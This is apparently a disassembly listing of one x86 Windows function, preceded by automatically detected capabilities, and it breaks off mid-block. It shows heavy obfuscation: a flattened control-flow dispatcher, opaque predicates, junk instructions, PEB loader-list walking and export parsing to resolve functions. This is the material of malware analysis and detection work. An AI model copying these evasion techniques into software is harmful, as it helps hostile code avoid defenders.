Function at 0x4014c0
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Create thread
Encode data using base64
Encode data using xor
Get number of processors
Inspect section memory permissions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1d0
mov eax, dword [0x4e2e40]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x4e4174]
mov eax, dword [0x4e4170]
lea esi, [ecx + 1]
imul esi, ecx
mov edx, esi
xor edx, 0xb384aae1
and edx, esi
not esi
and esi, 0xb384aae1
or edx, esi
mov ecx, edx
not ecx
and edx, 0x5f63297b
and ecx, 0xa09cd684
or edx, ecx
mov ecx, edx
mov esi, edx
xor esi, 0x2005001
xor ecx, 0xece7839a
xor edx, 0x827573dc
and edx, ecx
and esi, 0x26a4d319
and ecx, 0xd95b2ce6
or ecx, esi
mov esi, ecx
xor esi, 0x48122046
xor ecx, 0x26a4d318
and esi, 0x6e92f046
and ecx, 0xfffffffe
or esi, edx
not edx
and edx, 0x916d0fb8
and esi, 0x6e92f047
or esi, edx
or ecx, esi
mov edx, ecx
xor edx, 0xfbf6ae43
mov esi, ecx
not esi
and edx, ecx
or ecx, 0x40951bc
and esi, 0x32568a02
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xc9a824e5
and edx, 0x3657db1a
or ecx, ebx
and ebx, 0xc9a824e5
or esi, edi
or edx, ebx
not ecx
xor edx, esi
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x8f49d572
and edx, 0x70b62a8d
or ecx, edx
cmp ecx, 0x74bf7b31
sete byte [ebp - 0x8d]
cmp eax, 0xa
mov eax, 0xacefff52
setl byte [ebp - 0x8e]
jmp 0x401710
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc4]
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x48c0c05
and eax, 0x8a631082
mov edx, ecx
or edx, 0x4110e110
and esi, 0x459ced15
and ecx, 0x30000268
and edx, 0x459ced15
or ecx, esi
mov esi, 0x97129095
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x7110e378
and ecx, 0x8eef1c87
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0xe80181aa
and edx, 0xfffffffe
and ecx, 0x17fe7e55
or eax, ecx
xor eax, 0xe80181ab
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe5b29384
and ecx, 0x1a4d6c7b
or ecx, eax
mov eax, ecx
xor eax, 0x18446061
xor ecx, 0xc1b08104
and ecx, 0xc3b98d1e
and eax, 0x3c4672e1
or eax, ecx
mov ecx, eax
xor ecx, 0x40380818
xor eax, 0x30021021
and eax, 0xb3839527
and ecx, 0x4c7c6ad8
or ecx, eax
xor ecx, 0x4c7c6ad8
setne dl
sete ah
cmp dword [0x4e4170], 0xa
setl cl
setge ch
mov al, cl
and ch, ah
and al, dl
xor dl, cl
or cl, ah
mov ah, dl
or al, ch
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor dl, al
xor ah, 1
mov al, dl
or ah, cl
mov ecx, 0x6d2b76fa
xor al, ah
test ah, 1
cmovne ecx, esi
test dl, 1
not al
cmovne ecx, esi
test al, 1
mov eax, 0x6d2b76fa
cmove ecx, eax
mov eax, ecx
nop word cs:[eax + eax]
cmp eax, 0x25f8f74
jg 0x401850
cmp eax, 0xc30053f2
jg 0x4018c0
cmp eax, 0x9f5f338c
jg 0x4019be
cmp eax, 0x920b344a
jg 0x401ddc
cmp eax, 0x8493c8d2
jle 0x40253e
cmp eax, 0x881820ee
jg 0x403361
cmp eax, 0x86ae5011
jle 0x40498a
cmp eax, 0x86ae5012
je 0x406da3
cmp eax, 0x86b99e65
je 0x406dad
cmp eax, 0x86df0547
jne 0x401710
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x697c9f62
and ecx, 0x9683609d
or edx, ecx
xor edx, 0x697c9f62
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x4043f069
and eax, 0xbf428bbd
and ecx, 0xbfbc0f96
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0x4043f069
xor esi, 0xff017bd4
xor edx, 0x22c0386
and esi, ecx
and edx, 0x22d83ce
and ecx, 0x7dd27c31
or eax, esi
or ecx, edx
mov esi, eax
not esi
and eax, 0xc0bd7442
and esi, 0x3f428bbd
or eax, esi
mov esi, ecx
xor esi, 0x7c024c00
xor ecx, 0x822d83ce
mov edx, eax
not edx
and eax, 0x7e2acfc0
and esi, 0x7e2acfc0
mov edi, edx
or edx, ecx
and edi, 0x81d5303f
and ecx, 0x81d5303f
or eax, edi
or esi, ecx
not edx
xor esi, eax
or edx, esi
mov eax, edx
not eax
and edx, 0xfa118c6e
and eax, 0x5ee7391
or edx, eax
mov eax, 0x54b75d
xor edx, 0xfa118c6e
mov dword [ebp - 0x1bc], edx
jmp 0x401710
cmp eax, 0x394035c3
jle 0x401930
cmp eax, 0x5e328de8
jg 0x401ad4
cmp eax, 0x4c9b42cb
jg 0x401f10
cmp eax, 0x45353eac
jle 0x40265b
cmp eax, 0x485fbabc
jg 0x40348e
cmp eax, 0x473b13d1
jle 0x4049b0
cmp eax, 0x473b13d2
je 0x406dc2
cmp eax, 0x4782de43
je 0x406dd5
cmp eax, 0x484cc599
jne 0x401710
mov eax, 0x5835036f
jmp 0x401710
cmp eax, 0xe1f1c3a9
jg 0x401b36
cmp eax, 0xd6e183f3
jg 0x401f67
cmp eax, 0xcb3e5c2b
jle 0x402758
cmp eax, 0xd106076a
jg 0x4034cf
cmp eax, 0xcd1b7b06
jle 0x4049d0
cmp eax, 0xcd1b7b07
je 0x406ded
cmp eax, 0xce1b61d6
je 0x406df7
cmp eax, 0xcfcf6c4b
jne 0x401710
mov eax, 0x1c8d5c47
jmp 0x401710
cmp eax, 0x1c8d5c46
jle 0x401c75
cmp eax, 0x25638bf8
jg 0x401fbe
cmp eax, 0x207d30d7
jle 0x402955
cmp eax, 0x235dea92
jg 0x403521
cmp eax, 0x21fb0707
jle 0x4049f0
cmp eax, 0x21fb0708
je 0x406e10
cmp eax, 0x228f61f9
je 0x406e1a
cmp eax, 0x2321c5d0
jne 0x401710
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
vxorps xmm0, xmm0, xmm0
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0xc8]
mov dword [eax], 0x44
mov eax, 0x26b8cc8b
jmp 0x401710
cmp eax, 0xacefff51
jg 0x4021b1
cmp eax, 0xa595016e
jle 0x4029af
cmp eax, 0xa79cdbf2
jg 0x40372b
cmp eax, 0xa698dca5
jle 0x404b2e
cmp eax, 0xa698dca6
je 0x406e4b
cmp eax, 0xa6f9fa09
je 0x406e61
cmp eax, 0xa75da387
jne 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffe
and edx, 0x2a730d78
and eax, 0xd58cf287
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xd0b09938
xor eax, 0xd58cf287
and esi, 0x2f4f66c7
or ecx, esi
mov esi, 0xb95833e4
xor ecx, 0xd0b09938
or eax, ecx
xor eax, 0xffffffff
setne ah
sete dl
cmp dword [0x4e4170], 0xa
mov cl, ah
setge al
mov ch, al
inc ch
xor cl, ch
and ch, ah
mov ah, al
xor ah, dl
and ah, al
and al, dl
mov dl, ah
or al, ch
xor ah, al
xor dl, 1
xor al, 1
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
mov ch, cl
xor ch, al
and al, cl
or al, dl
and ch, cl
mov edx, 0x6954c16f
mov cl, al
xor cl, ch
test al, 1
mov eax, 0xb95833e4
cmovne eax, edx
test ch, 1
cmove eax, esi
mov esi, dword [ebp - 0xdc]
test cl, 1
cmovne eax, edx
mov dword [ebp - 0x114], esi
jmp 0x401710
cmp eax, 0x6fbe253f
jg 0x4021fd
cmp eax, 0x64f31f69
jle 0x402ace
cmp eax, 0x6ad50ffd
jg 0x403764
cmp eax, 0x666d7072
jle 0x404c30
cmp eax, 0x666d7073
je 0x406e6b
cmp eax, 0x6954c16f
je 0x406ea6
cmp eax, 0x6acb9bd8
jne 0x401710
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov dword [ebp - 0x174], eax
mov eax, 0x8f792c4a
jmp 0x401710
cmp eax, 0xf1acc218
jg 0x4022e0
cmp eax, 0xeaaa25a0
jle 0x402b15
cmp eax, 0xef7e5e01
jg 0x40379a
cmp eax, 0xeb924ef1
jle 0x404c73
cmp eax, 0xeb924ef2
je 0x406fab
cmp eax, 0xebbade0d
je 0x406fc4
cmp eax, 0xee2d01a2
jne 0x401710
mov eax, dword [ebp - 0xcc]
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xbe299e4f
mov esi, eax
or esi, 0x41046030
and ecx, eax
and esi, 0x49047434
and edx, 0xb6298a4b
or edx, esi
mov esi, ecx
not esi
and ecx, 0xb6fb8bcb
or eax, esi
and esi, 0x49047434
or ecx, esi
not eax
mov esi, 0x3b605328
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x41d661b0
and eax, 0xbe299e4f
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0xa4689fea
and edx, 0xfffffffe
and ecx, 0x5b976015
or eax, ecx
xor eax, 0xa4689feb
or eax, edx
mov ecx, eax
not ecx
and eax, 0x2c7f7b89
and ecx, 0xd3808476
or eax, ecx
xor eax, 0x2c7f7b89
sete al
setne dl
cmp dword [0x4e4170], 0xa
setge cl
setl ah
and ah, dl
and al, cl
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ah
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
xor al, cl
or cl, dl
mov edx, eax
xor dl, cl
test cl, 1
mov ecx, 0x702ce9a5
cmovne ecx, esi
test al, 1
not dl
mov eax, 0x702ce9a5
cmovne ecx, esi
test dl, 1
jmp 0x4016fe
cmp eax, 0xc5ec297
jle 0x40232c
cmp eax, 0x132794bd
jle 0x402b6f
cmp eax, 0x17078038
jg 0x4037e4
cmp eax, 0x148c5d26
jle 0x404c93
cmp eax, 0x148c5d27
je 0x407091
cmp eax, 0x153af14f
je 0x4070a4
cmp eax, 0x1588dbe2
jne 0x401710
mov eax, dword [0x4e4174]
mov edi, 0x42410168
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc5280162
and eax, 0x3ad7fe9d
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xce5e30d6
and eax, 0x31a1cf29
or ecx, eax
mov edx, ecx
xor edx, 0xf489ce4b
xor ecx, 0xb7631b4
mov eax, ecx
mov esi, edx
or eax, 1
and ecx, 0xfffffffe
and esi, 1
and edx, 0xef5848a8
or esi, ecx
mov ecx, eax
and ecx, 0x10a7b757
or edx, ecx
mov ecx, esi
not ecx
and esi, 0xef5848a8
or eax, ecx
and ecx, 0x10a7b757
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0xfb3d9594
mov ecx, eax
xor ecx, 0x11852c4f
and ecx, eax
not eax
and eax, 0x11852c4f
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x138029e3
and eax, 0xec7fd61c
or ecx, eax
mov eax, ecx
xor eax, 0x2000580
xor ecx, 0xfdfafa53
mov edx, ecx
and edx, 0xe5974a3d
and eax, 0x1a68b5c2
or eax, edx
xor eax, 0x1a68b5c2
or eax, ecx
xor eax, 0xffffffff
setne al
sete ah
cmp dword [0x4e4170], 0xa
mov ecx, eax
setl ch
setge dl
and cl, dl
and ch, ah
xor al, dl
or ch, cl
and al, ah
mov cl, ch
xor al, 1
xor cl, dl
or dl, ah
mov ah, al
or al, dl
xor ah, dl
and cl, ch
xor al, 1
or al, ah
xor al, cl
mov edx, eax
test al, 1
not dl
cmovne esi, edi
test dl, cl
mov edx, 0xfb3d9594
cmove esi, edx
cmovne esi, edi
test al, 1
jmp 0x401f06
cmp eax, 0x977759e5
jle 0x402e2f
cmp eax, 0x9af0f824
jg 0x403831
cmp eax, 0x993400c6
jle 0x404cc2
cmp eax, 0x993400c7
je 0x4070b5
cmp eax, 0x99b52642
je 0x4070ca
cmp eax, 0x9a3849ca
jne 0x401710
mov eax, dword [0x4e4174]
mov ebx, 0x7c972ea4
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
and esi, 0x1e40ec01
mov ecx, eax
and ecx, 0x41151022
and eax, 0x1a8eef19
or esi, ecx
mov ecx, edx
xor ecx, 0x5f55fc23
xor esi, 0x1e40ec01
and ecx, edx
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x5f55fc22
and esi, 0xa0aa03dd
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x26cee029
and esi, 0xd9311fd6
or ecx, esi
mov esi, ecx
xor esi, 0x28ee009
xor ecx, 0xd9311fd6
mov edi, ecx
or ecx, edx
and edx, 0xe57110e6
and edi, 0xe57110e6
and esi, 0x1a8eef19
or esi, edi
or eax, edx
not ecx
mov edi, 0x32f2a01a
xor eax, esi
mov esi, 0x7c972ea4
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x8d5af32e
and eax, 0x72a50cd1
or ecx, eax
cmp ecx, 0x8d5af32e
sete cl
cmp dword [0x4e4170], 0xa
setge al
setl dl
mov ah, al
xor ah, cl
xor ah, 1
or al, ah
and ah, cl
xor cl, dl
and cl, dl
xor al, 1
or cl, ah
xor cl, al
mov edx, ecx
cmovne esi, edi
not dl
test dl, al
cmove esi, ebx
test cl, cl
cmovne esi, edi
test dl, al
cmovne esi, edi
mov eax, esi
jmp 0x401710
cmp eax, 0x54815885
jle 0x402e83
cmp eax, 0x5835036e
jg 0x40388b
cmp eax, 0x5513511c
jle 0x404ddf
cmp eax, 0x5513511d
je 0x4071bd
cmp eax, 0x560d4a44
je 0x407292
cmp eax, 0x56cb31db
jne 0x401710
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov dword [ebp - 0x1ac], eax
mov eax, 0xa2115396
jmp 0x401710
cmp eax, 0xdae84c2b
jle 0x402fa6
cmp eax, 0xe09d1781
jg 0x4038c1
cmp eax, 0xdc3d1325
jle 0x404dff
cmp eax, 0xdc3d1326
je 0x40729c
cmp eax, 0xdc3f3cd9
je 0x4072ac
cmp eax, 0xded9865b
jne 0x401710
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x118], eax
mov eax, 0x17078039
jmp 0x401710
cmp eax, 0x30044cc7
jle 0x402fe7
cmp eax, 0x34aad52a
jg 0x4038f7
cmp eax, 0x30922e10
jle 0x404e51
cmp eax, 0x30922e11
je 0x407387
cmp eax, 0x32c5d2e2
je 0x407391
cmp eax, 0x32f2a01a
jne 0x401710
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
mov dword [eax + 4], ecx
push dword [ebp - 0x70]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x3c]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, dword [0x4e4174]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
and esi, 0x5e0815fc
and eax, 0xa1f7ea03
or esi, eax
mov edx, esi
xor edx, 0x5e0815fc
mov ecx, esi
xor esi, 0x4db2923c
xor ecx, 0xa1f7ea03
mov eax, edx
or eax, 0xec45783f
mov edi, ecx
and esi, edx
and edi, 0x10a0100
and edx, 0xa7772508
mov ebx, eax
and ebx, 0xdaf4b6e0
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x250b491f
or eax, ebx
and ebx, 0xdaf4b6e0
or esi, ebx
not eax
xor esi, edi
mov edi, 0x364856bc
or eax, esi
mov esi, eax
not esi
and eax, 0xb7d0b2e4
and esi, 0x482f4d1b
or eax, esi
mov esi, ecx
and esi, 0x5888daf7
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x83124
xor eax, 0x5b95cada
xor esi, 0xa7772509
and edx, 0x188d7b3e
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x424de61a
and esi, 0xbdb219e5
or ecx, esi
mov esi, eax
and esi, 0xe77284c1
or edx, esi
mov esi, ecx
xor esi, 0xd621a
xor ecx, 0xbdb219e5
or eax, ecx
and ecx, 0xe77284c1
and esi, 0x188d7b3e
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x7c972ea4
mov ecx, eax
xor ecx, 0xde33e027
and ecx, eax
not eax
and eax, 0xde33e027
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xe14c5904
and eax, 0x1eb3a6fb
or ecx, eax
mov eax, ecx
xor eax, 0x1f032922
xor ecx, 0x40804088
and eax, 0x9f032f76
and ecx, 0x60fcd089
or ecx, eax
xor ecx, 0x60fcd089
sete ah
setne cl
cmp dword [0x4e4170], 0xa
setge al
setl ch
mov edx, eax
or al, cl
xor dl, cl
xor cl, ch
xor al, 1
and dl, ah
not cl
mov ah, dl
and cl, ch
xor dl, cl
xor ah, 1
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test dl, 1
mov edx, 0x364856bc
cmovne edx, esi
test cl, 1
mov ecx, edx
cmovne ecx, edi
test al, al
jmp 0x409403
cmp eax, 0xb7e3efd4
jle 0x403033
cmp eax, 0xbc225557
jg 0x40394b
cmp eax, 0xb95833e3
jle 0x404e71
cmp eax, 0xb95833e4
je 0x40739b
cmp eax, 0xb9f6d1f4
je 0x4073c9
cmp eax, 0xba4fdf14
jne 0x401710
mov eax, 0x977759e6
jmp 0x401710
cmp eax, 0x77cd6f2c
jle 0x40309c
cmp eax, 0x7c2ae52c
jg 0x403a4b
cmp eax, 0x788e92ae
jle 0x404e9c
cmp eax, 0x788e92af
je 0x4073d6
cmp eax, 0x7988a7c2
je 0x4073fd
cmp eax, 0x7b373d20
jne 0x401710
mov ecx, dword [0x4e4174]
mov edi, 0xe89e793d
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x61caa900
mov ecx, edx
and ecx, 0x9e3556fe
and edx, 0xddf8a730
or esi, ecx
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
and eax, 0x220758cf
xor esi, 0x61caa900
or eax, edx
or ecx, esi
mov esi, 0xd596344e
mov edx, eax
xor edx, 0x220758cf
xor eax, 0xddf8a730
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x4e4170], 0xa
setl cl
mov edx, ecx
or cl, al
xor dl, al
xor cl, 1
mov eax, 0xe89e793d
or cl, dl
xor cl, 1
xor dl, cl
mov ch, dl
cmovne eax, esi
not ch
test ch, cl
cmove eax, edi
test dl, dl
cmovne eax, esi
test ch, cl
cmovne eax, esi
jmp 0x401710
cmp eax, 0xfb401d44
jg 0x40319b
cmp eax, 0xf6179609
jle 0x403a81
cmp eax, 0xf88015d2
jle 0x404eef
cmp eax, 0xf88015d3
je 0x407407
cmp eax, 0xfb02d92b
je 0x40757a
cmp eax, 0xfb3d9594
jne 0x401710
mov eax, 0x42410168
jmp 0x401710
cmp eax, 0x8a0e7b2
jg 0x4031ea
cmp eax, 0x54cfa69
jle 0x403c0a
cmp eax, 0x59aa2ad
jle 0x404f0f
cmp eax, 0x59aa2ae
je 0x407594
cmp eax, 0x694506c
je 0x407673
cmp eax, 0x73caf7d
jne 0x401710
sub esi, 0xb7
add eax, 0x78
and esi, 0x86
rol ebx, 0xb9
rcr edi, 0xd7
or esi, 0x33
not ebx
dec edx
sbb edi, 0x79
sbb edx, 0xfc
rcr esi, 0xdf
neg eax
rcl edx, 0x6d
ror eax, 0xbb
inc ebx
add esi, 0xf1
rcl esi, 3
not ebx
inc eax
neg eax
inc ebx
sbb ebx, 0x79
or edi, 0xc
dec esi
not edx
not esi
dec edx
not edi
sub esi, 0xcd
rol esi, 0x92
inc eax
dec eax
bswap eax
not edi
imul edx
inc edi
sbb eax, 0x7b
not eax
add edi, 0xaf
rol edx, 0xcb
mov edx, 4
mov edx, 0x31
rcl esi, 7
add edx, 0x33
and ebx, 0x5d
mov eax, 0xf8
or eax, 0xcd
rcr edi, 0xaf
sub eax, 0x40
neg edx
ror ebx, 0x6b
dec ebx
bswap eax
imul esi
sub edx, 0x75
add esi, 0x91
bswap ebx
neg ebx
inc esi
mov ebx, 0x32
sub esi, 0x64
inc eax
neg esi
imul esi
rcl edx, 0x59
dec edi
sub ebx, 0x56
inc edi
sub eax, 0x5f
bswap esi
not esi
neg edi
bswap edi
ror edi, 8
neg ebx
rol eax, 0x64
imul edx
inc edi
rcl eax, 0xcf
imul esi
mov eax, 7
inc esi
dec ebx
sub edi, 0x6f
dec edi
rol edx, 0xaa
neg edi
neg ebx
bswap edx
dec ebx
not edx
or ebx, 0xc9
ror edx, 0x28
not edx
neg ebx
ror edx, 0x1b
not esi
rcr edi, 0xab
or eax, 0xb6
imul esi
neg edi
or esi, 0xed
not edx
imul edi
neg esi
inc esi
rol ebx, 0x90
imul edi
bswap edx
sbb eax, 0xeb
not esi
sub eax, 0
sbb edi, 0xb3
imul edi
ror esi, 0x8c
sub edi, 0xb5
neg esi
mov eax, 0xdb
dec eax
sbb edi, 0x80
bswap eax
bswap esi
not eax
bswap esi
imul edx
imul eax
inc esi
bswap esi
imul edx
and edi, 0xa0
sbb edx, 0x33
rcl edi, 0x79
bswap edx
dec edi
add ebx, 0x7c
not esi
and edi, 0x45
sbb edx, 0x23
bswap edx
bswap edi
bswap ebx
or esi, 0x9a
not ebx
ror ebx, 0xe
bswap ebx
dec eax
bswap edx
not esi
and edx, 0xa3
inc esi
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x58]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x88]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x88]
mov eax, 0x1322f195
jmp 0x401710
cmp eax, 0x838dcb84
jle 0x403dff
cmp eax, 0x83cf2938
jle 0x404f2f
cmp eax, 0x83cf2939
je 0x407746
cmp eax, 0x841a83d7
je 0x407750
cmp eax, 0x845c5761
jne 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov ecx, eax
and ecx, 0x20ff6976
and eax, 0xb4083bc6
mov edx, esi
and edx, 0xdf009689
and esi, 0x4bf7c439
or ecx, edx
or eax, esi
mov edx, ecx
not edx
and ecx, 0x9c178a27
and edx, 0x63e875d8
or ecx, edx
mov edx, ecx
xor edx, 0x210108c
xor ecx, 0xbce8e350
mov esi, ecx
and esi, 0x65cfad33
and edx, 0x9a3052cc
or edx, esi
mov esi, eax
xor esi, 0x900012c4
xor eax, 0x41c78431
and eax, 0x65cfad33
and esi, 0x9a3052cc
or esi, eax
xor esi, edx
not esi
or esi, ecx
xor esi, 0xffffffff
mov esi, 0xb4ac9cac
sete al
setne dl
cmp dword [0x4e4170], 0xa
setge cl
setl ah
or ah, dl
mov edx, ecx
or dl, al
xor al, cl
mov ch, ah
and cl, al
xor ch, dl
or dl, ah
xor cl, 1
xor dl, 1
mov ah, cl
or cl, al
or dl, ch
xor ah, al
not cl
or cl, ah
mov eax, 0xc5346a89
xor cl, dl
and cl, 1
cmovne eax, esi
test cl, dl
mov edx, 0xc5346a89
cmove eax, esi
cmovne eax, edx
test cl, cl
mov ecx, dword [ebp - 0xa0]
cmove eax, edx
jmp 0x401710
cmp eax, 0x3ecd5810
jle 0x403e39
cmp eax, 0x418e6f00
jle 0x405096
cmp eax, 0x418e6f01
je 0x4078e9
cmp eax, 0x42410168
je 0x407a5b
cmp eax, 0x42f50fd1
jne 0x401710
mov ecx, dword [0x4e4174]
mov edi, 0xd9358926
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xa1f5e898
mov edx, ecx
and edx, 0x5e0a1766
and ecx, 0x115f7223
or esi, edx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
and eax, 0xeea08ddc
xor esi, 0xa1f5e898
or eax, ecx
or edx, esi
mov esi, 0x920b344b
mov ecx, eax
xor ecx, 0xeea08ddc
xor eax, 0x115f7223
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete cl
setne al
cmp dword [0x4e4170], 0xa
setl ch
setge ah
mov dh, ch
or cl, ah
xor dh, al
or al, ch
mov dl, dh
xor dl, ah
mov ah, cl
or cl, al
xor ah, al
xor cl, 1
and dl, dh
or cl, ah
mov eax, 0xd9358926
xor cl, dl
mov ch, cl
cmovne eax, esi
not ch
test ch, dl
cmove eax, edi
cmovne eax, esi
test cl, cl
mov ecx, dword [ebp - 0xe4]
cmovne eax, esi
cmp ecx, dword [ebp - 0xe8]
setne byte [ebp - 0x91]
jmp 0x401710
cmp eax, 0xc74d9072
jle 0x403e8b
cmp eax, 0xc80f3565
jle 0x4050b6
cmp eax, 0xc80f3566
je 0x407af3
cmp eax, 0xca60b8ce
je 0x407be0
cmp eax, 0xcafc1a96
jne 0x401710
mov eax, dword [ebp - 0x40]
push 0x400
push dword [eax]
push dword [ebp - 0xec]
vzeroupper
call fcn.00421dc0
add esp, 0xc
sub eax, 1
dec edx
rcl eax, 0x5a
sbb edi, 0xcd
imul ebx
rol edx, 0xc9
sbb eax, 0x1b
rcl eax, 0x5c
rol eax, 0x3e
sub esi, 0x78
dec eax
rol ebx, 0xa
rcr esi, 0x38
rcl eax, 0x5d
sub ebx, 0x67
sub edi, 0xbb
dec edx
inc ebx
not eax
bswap ebx
or edx, 0x55
rcr edx, 0xcd
bswap ebx
imul edi
sbb edi, 0x92
sub edi, 0x79
and edi, 0x31
not eax
rol eax, 0x16
not edi
dec edx
sub esi, 0x5c
dec ebx
inc edx
mov esi, 0xe
not esi
add edi, 0xc3
add ebx, 0xbc
rol edx, 0x88
not eax
bswap eax
not eax
rol eax, 0x34
ror edx, 0xc1
dec eax
not eax
sbb ebx, 0x51
rcl edx, 0x70
bswap edx
not eax
imul ebx
inc esi
add eax, 9
bswap ebx
imul edx
add edx, 0x6c
sbb edi, 0xd1
dec esi
bswap edi
rcl eax, 0xa7
and esi, 0xb7
not eax
bswap ebx
not ebx
add edi, 0x2e
mov eax, 0xd9
neg eax
and edi, 0x5a
not edx
mov eax, 0xdf
rcr eax, 0x70
inc edx
imul esi
inc edi
rcl ebx, 0x47
rcr edi, 0x28
and esi, 0x8e
rcr edi, 0xbc
ror edx, 0xe1
and esi, 0x62
inc esi
rcr ebx, 0x6b
rcl esi, 0x32
sbb esi, 0x90
inc edi
neg edi
not edx
dec edx
not edi
inc ebx
bswap esi
rcr edi, 0xc4
imul eax
dec ebx
dec edx
inc edi
rcr edx, 0x10
not ebx
inc esi
neg edi
neg esi
inc eax
and edi, 0xd
ror edi, 0xc2
mov edx, 0x1a
imul ebx
or edx, 0x7b
imul edx
add esi, 0x63
not edi
bswap ebx
ror edi, 0x26
inc ebx
ror edi, 0xd0
and eax, 0x62
rcr edx, 0xc4
rcr eax, 0xb1
ror esi, 0
neg edi
inc edi
imul esi
not esi
ror edi, 0x81
bswap esi
dec esi
bswap edx
neg ebx
or edx, 0x8d
ror edi, 0x22
dec edx
sub edi, 0xe2
sbb ebx, 0x34
imul eax
inc esi
neg eax
add eax, 0x82
rcr ebx, 0xe1
and edx, 0xe4
imul edx
ror edx, 0x50
rcr ebx, 7
add eax, 0xa4
ror edi, 0xf9
imul ebx
rcl ebx, 0x7f
add edi, 0xae
mov eax, 0xc5
neg esi
bswap edi
and esi, 0xe
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, 0x6c9707d2
jmp 0x401710
cmp eax, 0x1e9bb6e4
jle 0x403ebf
cmp eax, 0x1f9dcd0c
jle 0x4050d6
cmp eax, 0x1f9dcd0d
je 0x407c30
cmp eax, 0x1fe47545
je 0x407c46
cmp eax, 0x20566bd0
jne 0x401710
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
add eax, 0x34
mov dword [ebp - 0x120], eax
mov eax, 0x1e8160e
jmp 0x401710
cmp eax, 0xa353cc7c
jle 0x403eea
cmp eax, 0xa52baae5
jle 0x40510e
cmp eax, 0xa52baae6
je 0x407d0f
cmp eax, 0xa544ff5d
je 0x407d25
cmp eax, 0xa58fd952
jne 0x401710
mov eax, dword [0x4e4174]
mov esi, 0x947733e5
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x9b1dd7bb
and eax, 0x64e22844
